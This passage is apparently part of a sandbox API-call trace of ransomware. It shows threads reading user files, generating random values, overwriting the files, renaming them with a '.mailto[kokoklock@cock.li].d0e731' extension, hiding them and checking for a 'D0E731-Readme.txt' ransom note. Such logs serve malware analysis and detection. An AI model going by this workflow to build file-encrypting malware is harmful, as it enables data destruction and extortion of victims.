Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0x8f4def7a [0066.963] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0x31702438 [0066.963] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0xdac4619b [0066.963] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0x72104e76 [0066.963] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0xf4a90318 [0066.963] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0x3d61ba60 [0066.963] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0x207749a [0066.963] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0xc7afa667 [0066.974] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.974] ReadFile (in: hFile=0x3cc, lpBuffer=0x348e360, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xe6bfa90, lpOverlapped=0x0 | out: lpBuffer=0x348e360*, lpNumberOfBytesRead=0xe6bfa90*=0x4096, lpOverlapped=0x0) returned 1 [0066.986] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.987] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd088 [0066.987] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479da8 [0066.987] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34239c0 [0066.987] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34239c0) returned 1 [0066.987] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0066.987] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423948 [0066.987] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423970 [0066.987] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423970) returned 1 [0066.987] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0066.987] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd088) returned 1 [0066.987] WriteFile (in: hFile=0x3cc, lpBuffer=0x3475830*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xe6bfa90, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesWritten=0xe6bfa90*=0x4096, lpOverlapped=0x0) returned 1 [0066.988] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0066.988] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x10000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.988] WriteFile (in: hFile=0x3cc, lpBuffer=0x3423948*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xe6bfac8, lpOverlapped=0x0 | out: lpBuffer=0x3423948*, lpNumberOfBytesWritten=0xe6bfac8*=0x20, lpOverlapped=0x0) returned 1 [0066.988] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423948) returned 1 [0066.988] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e360) returned 1 [0066.988] WriteFile (in: hFile=0x3cc, lpBuffer=0x3423c68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xe6bfadc, lpOverlapped=0x0 | out: lpBuffer=0x3423c68*, lpNumberOfBytesWritten=0xe6bfadc*=0x8, lpOverlapped=0x0) returned 1 [0066.988] WriteFile (in: hFile=0x3cc, lpBuffer=0xe6bfaf4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xe6bfadc, lpOverlapped=0x0 | out: lpBuffer=0xe6bfaf4*, lpNumberOfBytesWritten=0xe6bfadc*=0x4, lpOverlapped=0x0) returned 1 [0066.988] WriteFile (in: hFile=0x3cc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xe6bfadc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xe6bfadc*=0x4, lpOverlapped=0x0) returned 1 [0066.988] WriteFile (in: hFile=0x3cc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xe6bfadc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xe6bfadc*=0x6c, lpOverlapped=0x0) returned 1 [0066.988] WriteFile (in: hFile=0x3cc, lpBuffer=0x3423bc8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xe6bfadc, lpOverlapped=0x0 | out: lpBuffer=0x3423bc8*, lpNumberOfBytesWritten=0xe6bfadc*=0x20, lpOverlapped=0x0) returned 1 [0066.988] WriteFile (in: hFile=0x3cc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xe6bfadc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xe6bfadc*=0x4, lpOverlapped=0x0) returned 1 [0066.989] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423bc8) returned 1 [0066.989] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423c40) returned 1 [0066.989] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423c68) returned 1 [0066.989] CloseHandle (hObject=0x3cc) returned 1 [0068.938] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd4) returned 0x347a720 [0068.938] wcscpy (in: _Dest=0x347a720, _Source="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf") returned="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf" [0068.938] wcscat (in: _Dest=0x347a720, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf.mailto[kokoklock@cock.li].d0e731" [0068.938] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tm.blf"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tm.blf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0068.950] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x26) returned 1 [0068.950] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a720) returned 1 [0068.950] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf", dwFileAttributes=0x26) returned 0 [0068.950] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x3480cb8 [0068.950] wcscpy (in: _Dest=0x3480cb8, _Source="C:\\Users\\Default\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0068.950] wcscat (in: _Dest=0x3480cb8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\Default\\D0E731-Readme.txt") returned="C:\\Users\\Default\\D0E731-Readme.txt" [0068.951] GetFileAttributesW (lpFileName="C:\\Users\\Default\\D0E731-Readme.txt" (normalized: "c:\\users\\default\\d0e731-readme.txt")) returned 0x20 [0068.951] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480cb8) returned 1 [0068.951] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb090) returned 1 [0068.951] RtlExitUserThread (Status=0x1) Thread: id = 306 os_tid = 0x1340 [0063.585] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tmcontainer00000000000000000001.regtrans-ms")) returned 0x26 [0064.633] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms", dwFileAttributes=0x20) returned 1 [0066.919] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tmcontainer00000000000000000001.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7b8 [0066.919] GetFileSizeEx (in: hFile=0x7b8, lpFileSize=0xe73fe50 | out: lpFileSize=0xe73fe50*=524288) returned 1 [0066.919] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0x7fffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.919] ReadFile (in: hFile=0x7b8, lpBuffer=0xe73fe24, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xe73fe20, lpOverlapped=0x0 | out: lpBuffer=0xe73fe24*, lpNumberOfBytesRead=0xe73fe20*=0x4, lpOverlapped=0x0) returned 1 [0066.949] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.949] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423c68 [0066.950] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423df8 [0066.950] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423cb8 [0066.950] NtQuerySystemTime (in: CurrentTime=0xe73fdfc | out: CurrentTime=0xe73fdfc*=132121176248465287) returned 0x0 [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0x7119f9ef [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0xaeea0d67 [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0x81a755ba [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0x20c441ab [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0xf3d17336 [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0x92ba409e [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0x94df410b [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0xc558882 [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0x98e7d822 [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0xa8519028 [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0xfe15c96d [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0x7d263b56 [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0xb9ebc437 [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0xe8bb1451 [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0x522b47d [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0xd57d6ec7 [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0xb940fa3f [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0x2ca3264d [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0x56c9e2fc [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0x453c98d6 [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0x14f5713c [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0xd075cb7f [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0x6e4806fd [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0xe41d2607 [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0xab9b84da [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0x389b2440 [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0x208f622a [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0xb9fff12b [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0x12a5f16 [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0x449067ad [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0xfbc5357b [0066.950] RtlRandom (in: Seed=0xe73fe08 | out: Seed=0xe73fe08) returned 0x839607a8 [0066.961] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.961] ReadFile (in: hFile=0x7b8, lpBuffer=0x348a2c0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xe73fdbc, lpOverlapped=0x0 | out: lpBuffer=0x348a2c0*, lpNumberOfBytesRead=0xe73fdbc*=0x4096, lpOverlapped=0x0) returned 1 [0066.983] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.983] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0066.984] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479ad8 [0066.984] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423bf0 [0066.984] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423bf0) returned 1 [0066.984] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0066.984] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423bf0 [0066.984] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423c90 [0066.984] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423c90) returned 1 [0066.984] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0066.984] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0066.984] WriteFile (in: hFile=0x7b8, lpBuffer=0x3475830*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xe73fdbc, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesWritten=0xe73fdbc*=0x4096, lpOverlapped=0x0) returned 1 [0066.985] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0066.985] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0x40960, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.985] ReadFile (in: hFile=0x7b8, lpBuffer=0x348a2c0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xe73fdbc, lpOverlapped=0x0 | out: lpBuffer=0x348a2c0*, lpNumberOfBytesRead=0xe73fdbc*=0x4096, lpOverlapped=0x0) returned 1 [0066.985] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0x40960, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.985] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcd28 [0066.985] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34798f8 [0066.985] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423948 [0066.985] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423948) returned 1 [0066.986] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0066.986] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423b28 [0066.986] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34239c0 [0066.986] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34239c0) returned 1 [0066.986] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34798f8) returned 1 [0066.986] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcd28) returned 1 [0066.986] WriteFile (in: hFile=0x7b8, lpBuffer=0x3475830*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xe73fdbc, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesWritten=0xe73fdbc*=0x4096, lpOverlapped=0x0) returned 1 [0066.986] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0066.986] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0x7bf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.986] ReadFile (in: hFile=0x7b8, lpBuffer=0x348a2c0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xe73fdbc, lpOverlapped=0x0 | out: lpBuffer=0x348a2c0*, lpNumberOfBytesRead=0xe73fdbc*=0x4096, lpOverlapped=0x0) returned 1 [0066.999] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0x7bf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.999] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0066.999] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0066.999] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d30 [0066.999] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423d30) returned 1 [0066.999] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0067.000] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d30 [0067.000] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423bc8 [0067.000] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423bc8) returned 1 [0067.000] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0067.000] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0067.000] WriteFile (in: hFile=0x7b8, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xe73fdbc, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xe73fdbc*=0x4096, lpOverlapped=0x0) returned 1 [0067.000] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0067.001] WriteFile (in: hFile=0x7b8, lpBuffer=0x3423bf0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xe73fe18, lpOverlapped=0x0 | out: lpBuffer=0x3423bf0*, lpNumberOfBytesWritten=0xe73fe18*=0x20, lpOverlapped=0x0) returned 1 [0067.002] WriteFile (in: hFile=0x7b8, lpBuffer=0x3423b28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xe73fe18, lpOverlapped=0x0 | out: lpBuffer=0x3423b28*, lpNumberOfBytesWritten=0xe73fe18*=0x20, lpOverlapped=0x0) returned 1 [0067.002] WriteFile (in: hFile=0x7b8, lpBuffer=0x3423d30*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xe73fe18, lpOverlapped=0x0 | out: lpBuffer=0x3423d30*, lpNumberOfBytesWritten=0xe73fe18*=0x20, lpOverlapped=0x0) returned 1 [0067.002] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a2c0) returned 1 [0067.002] WriteFile (in: hFile=0x7b8, lpBuffer=0x3423ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xe73fe20, lpOverlapped=0x0 | out: lpBuffer=0x3423ba0*, lpNumberOfBytesWritten=0xe73fe20*=0x8, lpOverlapped=0x0) returned 1 [0067.003] WriteFile (in: hFile=0x7b8, lpBuffer=0xe73fe38*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xe73fe20, lpOverlapped=0x0 | out: lpBuffer=0xe73fe38*, lpNumberOfBytesWritten=0xe73fe20*=0x4, lpOverlapped=0x0) returned 1 [0067.003] WriteFile (in: hFile=0x7b8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xe73fe20, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xe73fe20*=0x4, lpOverlapped=0x0) returned 1 [0067.003] WriteFile (in: hFile=0x7b8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xe73fe20, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xe73fe20*=0x6c, lpOverlapped=0x0) returned 1 [0067.003] WriteFile (in: hFile=0x7b8, lpBuffer=0x3423df8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xe73fe20, lpOverlapped=0x0 | out: lpBuffer=0x3423df8*, lpNumberOfBytesWritten=0xe73fe20*=0x20, lpOverlapped=0x0) returned 1 [0067.003] WriteFile (in: hFile=0x7b8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xe73fe20, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xe73fe20*=0x4, lpOverlapped=0x0) returned 1 [0067.003] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423df8) returned 1 [0067.003] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423920) returned 1 [0067.003] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423ba0) returned 1 [0067.003] CloseHandle (hObject=0x7b8) returned 1 [0068.955] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x11e) returned 0x341da40 [0068.955] wcscpy (in: _Dest=0x341da40, _Source="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms") returned="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms" [0068.955] wcscat (in: _Dest=0x341da40, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731" [0068.955] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tmcontainer00000000000000000001.regtrans-ms"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tmcontainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731")) returned 1 [0068.956] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x26) returned 1 [0068.956] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341da40) returned 1 [0068.956] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms", dwFileAttributes=0x26) returned 0 [0068.956] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x3481168 [0068.956] wcscpy (in: _Dest=0x3481168, _Source="C:\\Users\\Default\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0068.957] wcscat (in: _Dest=0x3481168, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\Default\\D0E731-Readme.txt") returned="C:\\Users\\Default\\D0E731-Readme.txt" [0068.957] GetFileAttributesW (lpFileName="C:\\Users\\Default\\D0E731-Readme.txt" (normalized: "c:\\users\\default\\d0e731-readme.txt")) returned 0x20 [0068.957] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481168) returned 1 [0068.957] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0068.957] RtlExitUserThread (Status=0x1) Thread: id = 307 os_tid = 0x1344 [0063.586] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tmcontainer00000000000000000002.regtrans-ms")) returned 0x26 [0064.632] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms", dwFileAttributes=0x20) returned 1 [0066.917] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tmcontainer00000000000000000002.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0066.917] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0xe7bfac0 | out: lpFileSize=0xe7bfac0*=524288) returned 1 [0066.917] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x7fffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.918] ReadFile (in: hFile=0x3b0, lpBuffer=0xe7bfa94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xe7bfa90, lpOverlapped=0x0 | out: lpBuffer=0xe7bfa94*, lpNumberOfBytesRead=0xe7bfa90*=0x4, lpOverlapped=0x0) returned 1 [0066.936] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, 